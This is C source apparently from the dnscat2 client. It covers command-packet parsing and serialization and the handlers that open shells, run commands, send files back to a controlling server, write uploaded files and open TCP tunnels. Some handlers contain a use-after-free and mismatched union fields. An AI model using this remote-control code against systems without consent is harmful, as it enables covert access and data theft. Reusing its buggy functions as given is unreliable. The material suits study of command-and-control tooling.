59 p->r.response.body.exec.session_id = buffer_read_next_int16(buffer);
60 }
61 break;
62
63 case COMMAND_DOWNLOAD:
64 if(p->is_request)
65 {
66 p->r.request.body.download.filename = buffer_alloc_next_ntstring(buffer);
67 }
68 else
69 {
70 p->r.response.body.download.data = (uint8_t*)buffer_read_remaining_bytes(buffer, (size_t*)&p->r.response.body.download.length, -1, TRUE);
71 }
72
73 break;
74
75 case COMMAND_UPLOAD:
76 if(p->is_request)
77 {
78 p->r.request.body.upload.filename = buffer_alloc_next_ntstring(buffer);
79 p->r.request.body.upload.data = buffer_read_remaining_bytes(buffer, (size_t*)&p->r.request.body.upload.length, -1, TRUE);
80 }
81 else
82 {
83 }
84 break;
85
86 case COMMAND_SHUTDOWN:
87 break;
88
89 case COMMAND_DELAY:
90 if(p->is_request)
91 {
92 p->r.request.body.delay.delay = buffer_read_next_int32(buffer);
93 }
94 break;
95
96 case TUNNEL_CONNECT:
97 if(p->is_request)
98 {
99 p->r.request.body.tunnel_connect.options = buffer_read_next_int32(buffer);
100 p->r.request.body.tunnel_connect.host = buffer_alloc_next_ntstring(buffer);
101 p->r.request.body.tunnel_connect.port = buffer_read_next_int16(buffer);
102 }
103 else
104 {
105 p->r.response.body.tunnel_connect.tunnel_id = buffer_read_next_int32(buffer);
106 }
107 break;
108
109 case TUNNEL_DATA:
110 if(p->is_request)
111 {
112 p->r.request.body.tunnel_data.tunnel_id = buffer_read_next_int32(buffer);
113 p->r.request.body.tunnel_data.data = buffer_read_remaining_bytes(buffer, (size_t*)&p->r.request.body.tunnel_data.length, -1, TRUE);
114 }
115 else
116 {
117 /* n/a */
118 }
119 break;
120
121 case TUNNEL_CLOSE:
122 if(p->is_request)
123 {
124 p->r.request.body.tunnel_close.tunnel_id = buffer_read_next_int32(buffer);
125 p->r.request.body.tunnel_close.reason = buffer_alloc_next_ntstring(buffer);
126 }
127 else
128 {
129 /* n/a */
130 }
131 break;
132
133 case COMMAND_ERROR:
134 if(p->is_request)
135 {
136 p->r.request.body.error.status = buffer_read_next_int16(buffer);
137 p->r.request.body.error.reason = buffer_alloc_next_ntstring(buffer);
138 }
139 else
140 {
141 p->r.request.body.error.status = buffer_read_next_int16(buffer);
142 p->r.request.body.error.reason = buffer_alloc_next_ntstring(buffer);
143 }
144 break;
145
146 default:
147 LOG_FATAL("Unknown command_id: 0x%04x", p->command_id);
148 exit(1);
149 }
150
151 return p;
152 }
153
154 command_packet_t *command_packet_read(buffer_t *stream)
155 {
156 size_t remaining_bytes = buffer_get_remaining_bytes(stream);
157 uint32_t needed_bytes = -1;
158 uint8_t *data;
159 command_packet_t *out = NULL;
160 size_t length;
161
162 /* If we don't have a length, we're done. */
163 if(remaining_bytes < 4)
164 return NULL;
165
166 /* Check for an overflow. */
167 needed_bytes = buffer_peek_next_int32(stream);
168 if(needed_bytes + 4 < needed_bytes)
169 {
170 LOG_FATAL("Overflow in command_packet!");
171 exit(1);
172 }
173
174 /* Make sure there are enough bytes present for the length + data. */
175 if(remaining_bytes < needed_bytes + 4)
176 return NULL;
177
178 /* Consume the length. */
179 buffer_read_next_int32(stream);
180
181 /* Read the data. */
182 data = buffer_read_remaining_bytes(stream, &length, needed_bytes, TRUE);
183
184 /* Sanity check. */
185 if(length != needed_bytes)
186 {
187 LOG_FATAL("Something went very wrong with the buffer class; the wrong number of bytes were read!");
188 exit(1);
189 }
190
191 /* Parse the data and free the buffer. */
192 out = command_packet_parse(data, length);
193 safe_free(data);
194
195 return out;
196 }
197
198 static command_packet_t *command_packet_create(uint16_t request_id, command_packet_type_t command_id, NBBOOL is_request)
199 {
200 command_packet_t *p = safe_malloc(sizeof(command_packet_t));
201
202 p->request_id = request_id;
203 p->command_id = command_id;
204 p->is_request = is_request;
205
206 return p;
207 }
208
209 command_packet_t *command_packet_create_ping_request(uint16_t request_id, char *data)
210 {
211 command_packet_t *packet = command_packet_create(request_id, COMMAND_PING, TRUE);
212
213 packet->r.request.body.ping.data = safe_strdup(data);
214
215 return packet;
216 }
217
218 command_packet_t *command_packet_create_ping_response(uint16_t request_id, char *data)
219 {
220 command_packet_t *packet = command_packet_create(request_id, COMMAND_PING, FALSE);
221
222 packet->r.response.body.ping.data = safe_strdup(data);
223
224 return packet;
225 }
226
227 command_packet_t *command_packet_create_shell_request(uint16_t request_id, char *name)
228 {
229 command_packet_t *packet = command_packet_create(request_id, COMMAND_SHELL, TRUE);
230
231 packet->r.request.body.shell.name = safe_strdup(name);
232
233 return packet;
234 }
235
236 command_packet_t *command_packet_create_shell_response(uint16_t request_id, uint16_t session_id)
237 {
238 command_packet_t *packet = command_packet_create(request_id, COMMAND_SHELL, FALSE);
239
240 packet->r.response.body.shell.session_id = session_id;
241
242 return packet;
243 }
244
245 command_packet_t *command_packet_create_exec_request(uint16_t request_id, char *name, char *command)
246 {
247 command_packet_t *packet = command_packet_create(request_id, COMMAND_EXEC, TRUE);
248
249 packet->r.request.body.exec.name = safe_strdup(name);
250 packet->r.request.body.exec.command = safe_strdup(command);
251
252 return packet;
253 }
254
255 command_packet_t *command_packet_create_exec_response(uint16_t request_id, uint16_t session_id)
256 {
257 command_packet_t *packet = command_packet_create(request_id, COMMAND_EXEC, FALSE);
258
259 packet->r.response.body.exec.session_id = session_id;
260
261 return packet;
262 }
263
264 command_packet_t *command_packet_create_download_request(uint16_t request_id, char *filename)
265 {
266 command_packet_t *packet = command_packet_create(request_id, COMMAND_DOWNLOAD, TRUE);
267
268 packet->r.request.body.download.filename = safe_strdup(filename);
269
270 return packet;
271 }
272
273 command_packet_t *command_packet_create_download_response(uint16_t request_id, uint8_t *data, uint32_t length)
274 {
275 command_packet_t *packet = command_packet_create(request_id, COMMAND_DOWNLOAD, FALSE);
276 packet->r.response.body.download.data = safe_malloc(length);
277 memcpy(packet->r.response.body.download.data, data, length);
278 packet->r.response.body.download.length = length;
279
280 return packet;
281 }
282
283 command_packet_t *command_packet_create_upload_request(uint16_t request_id, char *filename, uint8_t *data, uint32_t length)
284 {
285 command_packet_t *packet = command_packet_create(request_id, COMMAND_UPLOAD, TRUE);
286
287 packet->r.request.body.upload.filename = safe_strdup(filename);
288 packet->r.request.body.upload.data = safe_malloc(length);
289 memcpy(packet->r.request.body.upload.data, data, length);
290 packet->r.request.body.upload.length = length;
291
292 return packet;
293 }
294
295 command_packet_t *command_packet_create_upload_response(uint16_t request_id)
296 {
297 command_packet_t *packet = command_packet_create(request_id, COMMAND_UPLOAD, FALSE);
298
299 return packet;
300 }
301
302 command_packet_t *command_packet_create_shutdown_response(uint16_t request_id)
303 {
304 command_packet_t *packet = command_packet_create(request_id, COMMAND_SHUTDOWN, FALSE);
305
306 return packet;
307 }
308
309 command_packet_t *command_packet_create_delay_response(uint16_t request_id)
310 {
311 command_packet_t *packet = command_packet_create(request_id, COMMAND_DELAY, FALSE);
312
313 return packet;
314 }
315
316 command_packet_t *command_packet_create_tunnel_connect_request(uint16_t request_id, uint32_t options, char *host, uint16_t port)
317 {
318 command_packet_t *packet = command_packet_create(request_id, TUNNEL_CONNECT, TRUE);
319
320 packet->r.request.body.tunnel_connect.options = options;
321 packet->r.request.body.tunnel_connect.host = safe_strdup(host);
322 packet->r.request.body.tunnel_connect.port = port;
323
324 return packet;
325 }
326
327 command_packet_t *command_packet_create_tunnel_connect_response(uint16_t request_id, uint32_t tunnel_id)
328 {
329 command_packet_t *packet = command_packet_create(request_id, TUNNEL_CONNECT, FALSE);
330
331 packet->r.response.body.tunnel_connect.tunnel_id = tunnel_id;
332
333 return packet;
334 }
335
336 command_packet_t *command_packet_create_tunnel_data_request(uint16_t request_id, uint32_t tunnel_id, uint8_t *data, uint32_t length)
337 {
338 command_packet_t *packet = command_packet_create(request_id, TUNNEL_DATA, TRUE);
339
340 packet->r.request.body.tunnel_data.tunnel_id = tunnel_id;
341 packet->r.request.body.tunnel_data.data = safe_malloc(length);
342 memcpy(packet->r.request.body.tunnel_data.data, data, length);
343 packet->r.request.body.tunnel_data.length = length;
344
345 return packet;
346 }
347
348 command_packet_t *command_packet_create_tunnel_close_request(uint16_t request_id, uint32_t tunnel_id, char *reason)
349 {
350 command_packet_t *packet = command_packet_create(request_id, TUNNEL_CLOSE, TRUE);
351
352 packet->r.request.body.tunnel_close.tunnel_id = tunnel_id;
353 packet->r.request.body.tunnel_close.reason = safe_strdup(reason);
354
355 return packet;
356 }
357
358 command_packet_t *command_packet_create_error_request(uint16_t request_id, uint16_t status, char *reason)
359 {
360 command_packet_t *packet = command_packet_create(request_id, COMMAND_ERROR, TRUE);
361
362 packet->r.request.body.error.status = status;
363 packet->r.request.body.error.reason = safe_strdup(reason);
364
365 return packet;
366 }
367
368 command_packet_t *command_packet_create_error_response(uint16_t request_id, uint16_t status, char *reason)
369 {
370 command_packet_t *packet = command_packet_create(request_id, COMMAND_ERROR, FALSE);
371
372 packet->r.response.body.error.status = status;
373 packet->r.response.body.error.reason = safe_strdup(reason);
374
375 return packet;
376 }
377
378 /* Free the packet data structures. */
379 void command_packet_destroy(command_packet_t *packet)
380 {
381 switch(packet->command_id)
382 {
383 case COMMAND_PING:
384 if(packet->is_request)
385 {
386 if(packet->r.request.body.ping.data)
387 safe_free(packet->r.request.body.ping.data);
388 }
389 else
390 {
391 if(packet->r.response.body.ping.data)
392 safe_free(packet->r.response.body.ping.data);
393 }
394 break;
395
396 case COMMAND_SHELL:
397 if(packet->is_request)
398 {
399 if(packet->r.request.body.shell.name)
400 safe_free(packet->r.request.body.shell.name);
401 }
402 break;
403
404 case COMMAND_EXEC:
405 if(packet->is_request)
406 {
407 if(packet->r.request.body.exec.name)
408 safe_free(packet->r.request.body.exec.name);
409 if(packet->r.request.body.exec.command)
410 safe_free(packet->r.request.body.exec.command);
411 }
412 break;
413
414 case COMMAND_DOWNLOAD:
415 if(packet->is_request)
416 {
417 if(packet->r.request.body.download.filename)
418 safe_free(packet->r.request.body.download.filename);
419 }
420 else
421 {
422 if(packet->r.response.body.download.data)
423 safe_free(packet->r.response.body.download.data);
424 }
425 break;
426
427 case COMMAND_UPLOAD:
428 if(packet->is_request)
429 {
430 if(packet->r.request.body.upload.filename)
431 safe_free(packet->r.request.body.upload.filename);
432 if(packet->r.request.body.upload.data)
433 safe_free(packet->r.request.body.upload.data);
434 }
435 else
436 {
437 }
438 break;
439
440 case COMMAND_SHUTDOWN:
441 if(packet->is_request)
442 {
443 }
444 else
445 {
446 }
447 break;
448
449 case COMMAND_DELAY:
450 break;
451
452 case TUNNEL_CONNECT:
453 if(packet->is_request)
454 {
455 if(packet->r.request.body.tunnel_connect.host)
456 safe_free(packet->r.request.body.tunnel_connect.host);
457 }
458 else
459 {
460 }
461 break;
462
463 case TUNNEL_DATA:
464 if(packet->is_request)
465 {
466 if(packet->r.request.body.tunnel_data.data)
467 safe_free(packet->r.request.body.tunnel_data.data);
468 }
469 else
470 {
471 }
472 break;
473
474 case TUNNEL_CLOSE:
475 if(packet->is_request)
476 {
477 if(packet->r.request.body.error.reason)
478 safe_free(packet->r.request.body.error.reason);
479 }
480 else
481 {
482 }
483 break;
484
485 case COMMAND_ERROR:
486 if(packet->is_request)
487 {
488 if(packet->r.request.body.error.reason)
489 safe_free(packet->r.request.body.error.reason);
490 }
491 break;
492
493
494 default:
495 LOG_FATAL("Unknown command_id: 0x%04x", packet->command_id);
496 exit(1);
497 }
498
499 safe_free(packet);
500 }
501
502 /* Print the packet (debugging, mostly) */
503 void command_packet_print(command_packet_t *packet)
504 {
505 switch(packet->command_id)
506 {
507 case COMMAND_PING:
508 if(packet->is_request)
509 printf("COMMAND_PING [request] :: request_id: 0x%04x :: data: %s\n", packet->request_id, packet->r.request.body.ping.data);
510 else
511 printf("COMMAND_PING [response] :: request_id: 0x%04x :: data: %s\n", packet->request_id, packet->r.response.body.ping.data);
512 break;
513
514 case COMMAND_SHELL:
515 if(packet->is_request)
516 printf("COMMAND_SHELL [request] :: request_id: 0x%04x :: name: %s\n", packet->request_id, packet->r.request.body.shell.name);
517 else
518 printf("COMMAND_SHELL [response] :: request_id: 0x%04x :: session_id: 0x%04x\n", packet->request_id, packet->r.response.body.shell.session_id);
519 break;
520
521 case COMMAND_EXEC:
522 if(packet->is_request)
523 printf("COMMAND_EXEC [request] :: request_id: 0x%04x :: name: %s :: command: %s\n", packet->request_id, packet->r.request.body.exec.name, packet->r.request.body.exec.command);
524 else
525 printf("COMMAND_EXEC [response] :: request_id: 0x%04x :: session_id: 0x%04x\n", packet->request_id, packet->r.response.body.exec.session_id);
526 break;
527
528 case COMMAND_DOWNLOAD:
529 if(packet->is_request)
530 printf("COMMAND_DOWNLOAD [request] :: request_id: 0x%04x :: filename: %s\n", packet->request_id, packet->r.request.body.download.filename);
531 else
532 printf("COMMAND_DOWNLOAD [response] :: request_id: 0x%04x :: data: 0x%x bytes\n", packet->request_id, (int)packet->r.response.body.download.length);
533 break;
534
535 case COMMAND_UPLOAD:
536 if(packet->is_request)
537 printf("COMMAND_UPLOAD [request] :: request_id: 0x%04x :: filename: %s :: data: 0x%x bytes\n", packet->request_id, packet->r.request.body.upload.filename, (int)packet->r.request.body.upload.length);
538 else
539 printf("COMMAND_UPLOAD [response] :: request_id: 0x%04x\n", packet->request_id);
540 break;
541
542 case COMMAND_SHUTDOWN:
543 if(packet->is_request)
544 printf("COMMAND_SHUTDOWN [request] :: request_id 0x%04x\n", packet->request_id);
545 else
546 printf("COMMAND_SHUTDOWN [response] :: request_id 0x%04x\n", packet->request_id);
547 break;
548
549 case COMMAND_DELAY:
550 if(packet->is_request)
551 printf("COMMAND_DELAY [request] :: request_id 0x%04x :: delay %d\n", packet->request_id, packet->r.request.body.delay.delay);
552 else
553 printf("COMMAND_DELAY [response] :: request_id 0x%04x\n", packet->request_id);
554 break;
555
556 case TUNNEL_CONNECT:
557 if(packet->is_request)
558 printf("TUNNEL_CONNECT [request] :: request_id 0x%04x :: host %s :: port %d\n", packet->request_id, packet->r.request.body.tunnel_connect.host, packet->r.request.body.tunnel_connect.port);
559 else
560 {
561 printf("TUNNEL_CONNECT [response] :: request_id 0x%04x :: tunnel_id %d\n", packet->request_id, packet->r.response.body.tunnel_connect.tunnel_id);
562 }
563 break;
564
565 case TUNNEL_DATA:
566 if(packet->is_request)
567 printf("TUNNEL_DATA [request] :: request_id 0x%04x :: tunnel_id %d :: data %zd bytes\n", packet->request_id, packet->r.request.body.tunnel_data.tunnel_id, packet->r.request.body.tunnel_data.length);
568 else
569 printf("TUNNEL_DATA [response] :: request_id 0x%04x :: this shouldn't actually exist\n", packet->request_id);
570 break;
571
572 case TUNNEL_CLOSE:
573 if(packet->is_request)
574 printf("TUNNEL_CLOSE [request] :: request_id 0x%04x :: tunnel_id %d :: reason %s\n", packet->request_id, packet->r.request.body.tunnel_close.tunnel_id, packet->r.request.body.tunnel_close.reason);
575 else
576 printf("TUNNEL_CLOSE [response] :: request_id 0x%04x :: this shouldn't actually exist\n", packet->request_id);
577 break;
578
579 case COMMAND_ERROR:
580 if(packet->is_request)
581 printf("COMMAND_ERROR [request] :: request_id: 0x%04x :: status: 0x%04x :: reason: %s\n", packet->request_id, packet->r.request.body.error.status, packet->r.request.body.error.reason);
582 else
583 printf("COMMAND_ERROR [response] :: request_id: 0x%04x :: status: 0x%04x :: reason: %s\n", packet->request_id, packet->r.response.body.error.status, packet->r.response.body.error.reason);
584 break;
585 }
586 }
587
588 /* Needs to be freed with safe_free() */
589 uint8_t *command_packet_to_bytes(command_packet_t *packet, size_t *length)
590 {
591 buffer_t *buffer = buffer_create(BO_BIG_ENDIAN);
592 buffer_t *buffer_with_size = buffer_create(BO_BIG_ENDIAN);
593 uint16_t packed_id;
594
595 packed_id = (packet->is_request ? 0x0000 : 0x8000);
596 packed_id |= (packet->request_id & 0x7FFF);
597 buffer_add_int16(buffer, packed_id);
598
599 buffer_add_int16(buffer, packet->command_id);
600
601 switch(packet->command_id)
602 {
603 case COMMAND_PING:
604 if(packet->is_request)
605 buffer_add_ntstring(buffer, packet->r.request.body.ping.data);
606 else
607 buffer_add_ntstring(buffer, packet->r.response.body.ping.data);
608
609 break;
610
611 case COMMAND_SHELL:
612 if(packet->is_request)
613 buffer_add_ntstring(buffer, packet->r.request.body.shell.name);
614 else
615 buffer_add_int16(buffer, packet->r.response.body.shell.session_id);
616 break;
617
618 case COMMAND_EXEC:
619 if(packet->is_request)
620 {
621 buffer_add_ntstring(buffer, packet->r.request.body.exec.name);
622 buffer_add_ntstring(buffer, packet->r.request.body.exec.command);
623 }
624 else
625 {
626 buffer_add_int16(buffer, packet->r.response.body.exec.session_id);
627 }
628 break;
629
630 case COMMAND_DOWNLOAD:
631 if(packet->is_request)
632 {
633 buffer_add_ntstring(buffer, packet->r.request.body.download.filename);
634 }
635 else
636 {
637 buffer_add_bytes(buffer, packet->r.response.body.download.data, packet->r.response.body.download.length);
638 }
639 break;
640
641 case COMMAND_UPLOAD:
642 if(packet->is_request)
643 {
644 buffer_add_ntstring(buffer, packet->r.request.body.upload.filename);
645 buffer_add_bytes(buffer, packet->r.request.body.upload.data, packet->r.request.body.upload.length);
646 }
647 else
648 {
649 }
650 break;
651
652 case COMMAND_SHUTDOWN:
653 break;
654
655 case COMMAND_DELAY:
656 if(packet->is_request)
657 {
658 buffer_add_int32(buffer, packet->r.request.body.delay.delay);
659 }
660 break;
661
662 case TUNNEL_CONNECT:
663 if(packet->is_request)
664 {
665 buffer_add_int32(buffer, packet->r.request.body.tunnel_connect.options);
666 buffer_add_ntstring(buffer, packet->r.request.body.tunnel_connect.host);
667 buffer_add_int16(buffer, packet->r.request.body.tunnel_connect.port);
668 }
669 else
670 {
671 buffer_add_int32(buffer, packet->r.response.body.tunnel_connect.tunnel_id);
672 }
673 break;
674
675 case TUNNEL_DATA:
676 if(packet->is_request)
677 {
678 buffer_add_int32(buffer, packet->r.request.body.tunnel_data.tunnel_id);
679 buffer_add_bytes(buffer, packet->r.request.body.tunnel_data.data, packet->r.request.body.tunnel_data.length);
680 }
681 else
682 {
683 }
684 break;
685
686 case TUNNEL_CLOSE:
687 if(packet->is_request)
688 {
689 buffer_add_int32(buffer, packet->r.request.body.tunnel_close.tunnel_id);
690 buffer_add_ntstring(buffer, packet->r.request.body.tunnel_close.reason);
691 }
692 else
693 {
694 }
695 break;
696
697 case COMMAND_ERROR:
698 if(packet->is_request)
699 {
700 buffer_add_int16(buffer, packet->r.request.body.error.status);
701 buffer_add_ntstring(buffer, packet->r.request.body.error.reason);
702 }
703 else
704 {
705 buffer_add_int16(buffer, packet->r.response.body.error.status);
706 buffer_add_ntstring(buffer, packet->r.response.body.error.reason);
707 }
708 break;
709
710
711 default:
712 LOG_FATAL("Unknown command_id: 0x%04x", packet->command_id);
713 exit(1);
714 }
715
716 buffer_add_int32(buffer_with_size, buffer_get_length(buffer));
717 buffer_add_buffer(buffer_with_size, buffer);
718 buffer_destroy(buffer);
719
720 return buffer_create_string_and_destroy(buffer_with_size, length);
721 }
0 /* command_packet.h
1 * By Ron Bowes
2 * Created May, 2014
3 *
4 * See LICENSE.md
5 *
6 * A class for creating and parsing dnscat command protocol packets.
7 */
8 #ifndef __COMMAND_PACKET_H__
9 #define __COMMAND_PACKET_H__
10
11 #include <stdlib.h>
12
13 #include "libs/buffer.h"
14 #include "libs/types.h"
15
16 #ifdef WIN32
17 #include "libs/pstdint.h"
18 #else
19 #include <stdint.h>
20 #endif
21
22 /* Just make sure it doesn't overflow, basically */
23 #define MAX_COMMAND_PACKET_SIZE 0x7FFFFF00
24
25 typedef enum
26 {
27 COMMAND_PING = 0x0000,
28 COMMAND_SHELL = 0x0001,
29 COMMAND_EXEC = 0x0002,
30 COMMAND_DOWNLOAD = 0x0003,
31 COMMAND_UPLOAD = 0x0004,
32 COMMAND_SHUTDOWN = 0x0005,
33 COMMAND_DELAY = 0x0006,
34
35 TUNNEL_CONNECT = 0x1000,
36 TUNNEL_DATA = 0x1001,
37 TUNNEL_CLOSE = 0x1002,
38
39 COMMAND_ERROR = 0xFFFF,
40 } command_packet_type_t;
41
42 typedef enum
43 {
44 TUNNEL_STATUS_FAIL = 0x8000,
45 } tunnel_status_t;
46
47 typedef struct
48 {
49 uint16_t request_id;
50 command_packet_type_t command_id;
51 NBBOOL is_request;
52
53 union
54 {
55 struct
56 {
57 union {
58 struct { char *data; } ping;
59 struct { char *name; } shell;
60 struct { char *name; char *command; } exec;
61 struct { char *filename; } download;
62 struct { char *filename; uint8_t *data; uint32_t length; } upload;
63 struct { int dummy; } shutdown;
64 struct { uint32_t delay; } delay;
65 struct { uint32_t options; char *host; uint16_t port; } tunnel_connect;
66 struct { uint32_t tunnel_id; uint8_t *data; size_t length; } tunnel_data;
67 struct { uint32_t tunnel_id; char *reason; } tunnel_close;
68 struct { uint16_t status; char *reason; } error;
69 } body;
70 } request;
71
72 struct
73 {
74 union {
75 struct { char *data; } ping;
76 struct { uint16_t session_id; } shell;
77 struct { uint16_t session_id; } exec;
78 struct { uint8_t *data; uint32_t length; } download;
79 struct { int dummy; } upload;
80 struct { int dummy; } shutdown;
81 struct { int dummy; } delay;
82 struct { uint16_t status; uint32_t tunnel_id; } tunnel_connect;
83 struct { int dummy; } tunnel_data;
84 struct { int dummy; } tunnel_close;
85 struct { uint16_t status; char *reason; } error;
86 } body;
87 } response;
88 } r;
89 } command_packet_t;
90
91 /* Parse a packet from a byte stream. */
92 command_packet_t *command_packet_read(buffer_t *buffer);
93
94 /* Create a packet with the given characteristics. */
95 command_packet_t *command_packet_create_ping_request(uint16_t request_id, char *data);
96 command_packet_t *command_packet_create_ping_response(uint16_t request_id, char *data);
97
98 command_packet_t *command_packet_create_shell_request(uint16_t request_id, char *name);
99 command_packet_t *command_packet_create_shell_response(uint16_t request_id, uint16_t session_id);
100
101 command_packet_t *command_packet_create_exec_request(uint16_t request_id, char *name, char *command);
102 command_packet_t *command_packet_create_exec_response(uint16_t request_id, uint16_t session_id);
103
104 command_packet_t *command_packet_create_download_request(uint16_t request_id, char *filename);
105 command_packet_t *command_packet_create_download_response(uint16_t request_id, uint8_t *data, uint32_t length);
106
107 command_packet_t *command_packet_create_upload_request(uint16_t request_id, char *filename, uint8_t *data, uint32_t length);
108 command_packet_t *command_packet_create_upload_response(uint16_t request_id);
109
110 command_packet_t *command_packet_create_shutdown_response(uint16_t request_id);
111
112 command_packet_t *command_packet_create_delay_response(uint16_t request_id);
113
114 command_packet_t *command_packet_create_tunnel_connect_request(uint16_t request_id, uint32_t options, char *host, uint16_t port);
115 command_packet_t *command_packet_create_tunnel_connect_response(uint16_t request_id, uint32_t tunnel_id);
116
117 command_packet_t *command_packet_create_tunnel_data_request(uint16_t request_id, uint32_t tunnel_id, uint8_t *data, uint32_t length);
118
119 command_packet_t *command_packet_create_tunnel_close_request(uint16_t request_id, uint32_t tunnel_id, char *reason);
120
121 command_packet_t *command_packet_create_error_request(uint16_t request_id, uint16_t status, char *reason);
122 command_packet_t *command_packet_create_error_response(uint16_t request_id, uint16_t status, char *reason);
123
124
125 /* Free the packet data structures. */
126 void command_packet_destroy(command_packet_t *packet);
127
128 /* Print the packet (debugging, mostly) */
129 void command_packet_print(command_packet_t *packet);
130
131 /* Needs to be freed with safe_free() */
132 uint8_t *command_packet_to_bytes(command_packet_t *packet, size_t *length);
133
134 #endif
0 /* commands_standard.c
1 * By Ron Bowes
2 * Created December, 2015
3 *
4 * See LICENSE.md
5 *
6 * Despite the name, this isn't realllly a header file. I moved some of
7 * the functions into it to keep them better organized.
8 */
9
10 static command_packet_t *handle_ping(driver_command_t *driver, command_packet_t *in)
11 {
12 if(!in->is_request)
13 return NULL;
14
15 LOG_WARNING("Got a ping request! Responding!");
16 return command_packet_create_ping_response(in->request_id, in->r.request.body.ping.data);
17 }
18
19 static command_packet_t *handle_shell(driver_command_t *driver, command_packet_t *in)
20 {
21 session_t *session = NULL;
22
23 if(!in->is_request)
24 return NULL;
25
26 #ifdef WIN32
27 session = session_create_exec(driver->group, "cmd.exe", "cmd.exe");
28 #else
29 session = session_create_exec(driver->group, "sh", "sh");
30 #endif
31 controller_add_session(session);
32
33 return command_packet_create_shell_response(in->request_id, session->id);
34 }
35
36 static command_packet_t *handle_exec(driver_command_t *driver, command_packet_t *in)
37 {
38 session_t *session = NULL;
39
40 if(!in->is_request)
41 return NULL;
42
43 session = session_create_exec(driver->group, in->r.request.body.exec.name, in->r.request.body.exec.command);
44 controller_add_session(session);
45
46 return command_packet_create_exec_response(in->request_id, session->id);
47 }
48
49 static command_packet_t *handle_download(driver_command_t *driver, command_packet_t *in)
50 {
51 struct stat s;
52 uint8_t *data;
53 FILE *f = NULL;
54 command_packet_t *out = NULL;
55
56 if(!in->is_request)
57 return NULL;
58
59 if(stat(in->r.request.body.download.filename, &s) != 0)
60 return command_packet_create_error_response(in->request_id, -1, "Error opening file for reading");
61
62 #ifdef WIN32
63 fopen_s(&f, in->r.request.body.download.filename, "rb");
64 #else
65 f = fopen(in->r.request.body.download.filename, "rb");
66 #endif
67 if(!f)
68 return command_packet_create_error_response(in->request_id, -1, "Error opening file for reading");
69
70 data = safe_malloc(s.st_size);
71 if(fread(data, 1, s.st_size, f) == s.st_size)
72 out = command_packet_create_download_response(in->request_id, data, s.st_size);
73 else
74 out = command_packet_create_error_response(in->request_id, -1, "There was an error reading the file");
75
76 fclose(f);
77 safe_free(data);
78
79 return out;
80 }
81
82 static command_packet_t *handle_upload(driver_command_t *driver, command_packet_t *in)
83 {
84 FILE *f;
85
86 if(!in->is_request)
87 return NULL;
88
89 #ifdef WIN32
90 fopen_s(&f, in->r.request.body.upload.filename, "wb");
91 #else
92 f = fopen(in->r.request.body.upload.filename, "wb");
93 #endif
94
95 if(!f)
96 return command_packet_create_error_response(in->request_id, -1, "Error opening file for writing");
97
98 fwrite(in->r.request.body.upload.data, in->r.request.body.upload.length, 1, f);
99 fclose(f);
100
101 return command_packet_create_upload_response(in->request_id);
102 }
103
104 static command_packet_t *handle_shutdown(driver_command_t *driver, command_packet_t *in)
105 {
106 if(!in->is_request)
107 return NULL;
108
109 controller_kill_all_sessions();
110
111 return command_packet_create_shutdown_response(in->request_id);
112 }
113
114 static command_packet_t *handle_delay(driver_command_t *driver, command_packet_t *in)
115 {
116 if(!in->is_request)
117 return NULL;
118
119 session_set_delay(in->r.request.body.delay.delay);
120
121 return command_packet_create_delay_response(in->request_id);
122 }
123
124 static command_packet_t *handle_error(driver_command_t *driver, command_packet_t *in)
125 {
126 if(!in->is_request)
127 LOG_ERROR("An error response was returned: %d -> %s", in->r.response.body.error.status, in->r.response.body.error.reason);
128 else
129 LOG_ERROR("An error request was sent (weird?): %d -> %s", in->r.request.body.error.status, in->r.request.body.error.reason);
130
131 return NULL;
132 }
0 /* commands_tunnel.c
1 * By Ron Bowes
2 * Created December, 2015
3 *
4 * See LICENSE.md
5 *
6 * Despite the name, this isn't realllly a header file. I moved some of
7 * the functions into it to keep them better organized.
8 */
9
10 static uint32_t g_tunnel_id = 0;
11
12 typedef struct
13 {
14 uint32_t tunnel_id;
15 int s;
16 driver_command_t *driver;
17 uint16_t connect_request_id;
18 char *host;
19 uint16_t port;
20 } tunnel_t;
21
22 static void send_and_free(buffer_t *outgoing_data, command_packet_t *out)
23 {
24 uint8_t *out_data = NULL;
25 size_t out_length;
26
27 out_data = command_packet_to_bytes(out, &out_length);
28 buffer_add_bytes(outgoing_data, out_data, out_length);
29 safe_free(out_data);
30 command_packet_destroy(out);
31 }
32
33 static SELECT_RESPONSE_t tunnel_data_in(void *group, int s, uint8_t *data, size_t length, char *addr, uint16_t port, void *param)
34 {
35 tunnel_t *tunnel = (tunnel_t*) param;
36 command_packet_t *out = NULL;
37
38 LOG_INFO("[Tunnel %d] Received %zd bytes of data from server; forwarding to client", tunnel->tunnel_id, length);
39
40 out = command_packet_create_tunnel_data_request(request_id(), tunnel->tunnel_id, data, length);
41 send_and_free(tunnel->driver->outgoing_data, out);
42
43 return SELECT_OK;
44 }
45
46 static SELECT_RESPONSE_t tunnel_closed(void *group, int s, void *param)
47 {
48 tunnel_t *tunnel = (tunnel_t*) param;
49 command_packet_t *out = NULL;
50
51 LOG_WARNING("[Tunnel %d] connection to %s:%d closed by the server!", tunnel->tunnel_id, tunnel->host, tunnel->port);
52
53 /* Queue up a packet letting the server know the connection is gone. */
54 out = command_packet_create_tunnel_close_request(request_id(), tunnel->tunnel_id, "Server closed the connection");
55 send_and_free(tunnel->driver->outgoing_data, out);
56
57 /* Remove the tunnel from the linked list of tunnels. */
58 ll_remove(tunnel->driver->tunnels, ll_32(tunnel->tunnel_id));
59 safe_free(tunnel->host);
60 safe_free(tunnel);
61
62 /* Close the socket. */
63 tcp_close(tunnel->s);
64
65 return SELECT_REMOVE;
66 }
67
68 static SELECT_RESPONSE_t tunnel_error(void *group, int s, int err, void *param)
69 {
70 tunnel_t *tunnel = (tunnel_t*) param;
71 command_packet_t *out = NULL;
72
73 LOG_WARNING("[Tunnel %d] connection to %s:%d closed because of error %d", tunnel->tunnel_id, tunnel->host, tunnel->port, err);
74
75 /* Queue up a packet letting the server know the connection is gone. */
76 out = command_packet_create_tunnel_close_request(request_id(), tunnel->tunnel_id, "Connection error");
77 send_and_free(tunnel->driver->outgoing_data, out);
78
79 /* Remove the tunnel from the linked list of tunnels. */
80 ll_remove(tunnel->driver->tunnels, ll_32(tunnel->tunnel_id));
81 safe_free(tunnel->host);
82 safe_free(tunnel);
83
84 /* Close the socket. */
85 tcp_close(tunnel->s);
86
87 return SELECT_REMOVE;
88 }
89
90 static SELECT_RESPONSE_t tunnel_ready(void *group, int s, void *param)
91 {
92 tunnel_t *tunnel = (tunnel_t*) param;
93 command_packet_t *out = NULL;
94
